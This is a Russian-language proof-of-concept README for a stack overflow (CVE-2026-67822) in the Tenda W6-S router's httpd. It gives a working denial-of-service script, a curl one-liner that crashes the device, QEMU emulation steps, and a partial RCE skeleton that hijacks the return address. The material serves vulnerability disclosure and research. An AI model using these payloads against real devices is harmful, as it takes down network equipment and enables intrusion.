
PoC для CVE-2026-67822 — переполнение стека в Tenda W6-S /goform/wifiSSIDset: репродуктор DoS, QEMU MIPS-шим и концептуальный скелет RCE-пейлоада.
wifiSSIDset: переполнение буфера в стеке (PoC)Сопутствующий PoC к статье Hunt-Benito
«GO без границ: CVE-2026-67822 — переполнение стека в обработчике формы wifiSSIDset устройства Tenda W6-S».
CVE-2026-67822 (CVSS 9.8, критическая, CWE-121) — это переполнение буфера в стеке в функции formwrlSSIDset(): именно эта C-функция отвечает за конечную точку /goform/wifiSSIDset веб-сервера /bin/httpd (производного от GoAhead) беспроводной точки доступа Tenda W6-S.
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
Подтверждённое воздействие: отказ в обслуживании (падение httpd).
Потенциальное воздействие: удалённое выполнение кода (MIPS, сборка без stack canary / без ASLR).
Против реального W6-S (IP локальной сети по умолчанию 192.168.5.10) или эмулированного экземпляра:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
Эквивалентная однострочная команда:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
После завершения запроса управляющий интерфейс не работает до перезапуска питания.
fake_apmib.so)/bin/httpd ожидает реальное аппаратное обеспечение Tenda (libapmib.so, демон cfmd, MAC-адрес локальной сети). Шим fake_apmib.c имитирует ровно столько из этих компонентов, сколько нужно, чтобы httpd загрузился внутри эмулированной файловой системы прошивки. Настройка повторяет методику оригинального исследователя.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd с шимомguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
Теперь управляющий интерфейс доступен по адресу http://192.168.5.10 (учётные данные по умолчанию admin / admin), и poc_dos.py работает с ним точно так же, как и с реальным оборудованием.
Точные прототипы внутренних вспомогательных функций
apmib/cfmdкомпании Tenda различаются между сборками прошивки. Сверьте их с реальнойlibapmib.soвашей цели (objdump -T libapmib.so/ IDA) и при необходимости скорректируйтеfake_apmib.c.
exploit_conceptual.py описывает форму эксплуатации помимо DoS:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
Этот каркас перенаправляет только $ra. Превращение перехвата в реальное выполнение кода требует либо шеллкода для стека без защиты NX, либо ROP-цепочки, собранной из гаджетов конкретного образа прошивки, — оба варианта зависят от конкретной сборки и намеренно оставлены исследователю. DoS подтверждён; RCE — вероятный наихудший случай, который отражает вектор CVSS (C:H/I:H).
Этот код предназначен только для авторизованных исследований в области безопасности. Запускайте его исключительно против устройств, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Не используйте его против сетей или оборудования, которыми вы не управляете.
| Затронутый продукт | беспроводная точка доступа Tenda W6-S |
| Затронутая прошивка | v1.0.0.4(510) |
| CVSS v3.1 | 9.8, критическая (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (переполнение буфера в стеке) |
| Уязвимая конечная точка | POST /goform/wifiSSIDset (параметры GO, index) |
| Исследователь / автор | trister |
| Файл | Назначение |
|---|
poc_dos.py | Подтверждённо воспроизводит DoS. Отправляет слишком большой параметр GO и определяет возникшее падение httpd. Только стандартная библиотека — без зависимостей. |
exploit_conceptual.py | Концептуальный каркас RCE. Демонстрирует форму перехвата потока управления (заполнение до сохранённого $ra, перезапись) и вспомогательный инструмент с циклическим шаблоном для эмпирического определения смещения до $ra. Не включает готовый шеллкод или адреса гаджетов. |
fake_apmib.c | Шим LD_PRELOAD, который подменяет обращения к аппаратуре и MIB Tenda, чтобы /bin/httpd мог загрузиться в гостевой системе QEMU MIPS, — именно эта методика позволила воспроизвести ошибку без физического устройства. |
| Перехваты шима | Возвращает | Зачем |
|---|
apmib_init() | 1 | пропустить инициализацию аппаратуры/MIB |
ConnectCfm() | 1 | имитировать ответ демона cfmd |
GetValue("lan.ip", …) | 192.168.5.10 | статический управляющий IP |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | поддельный MAC |
connect() | passthrough | разрешение соединений через unix-сокеты/TCP |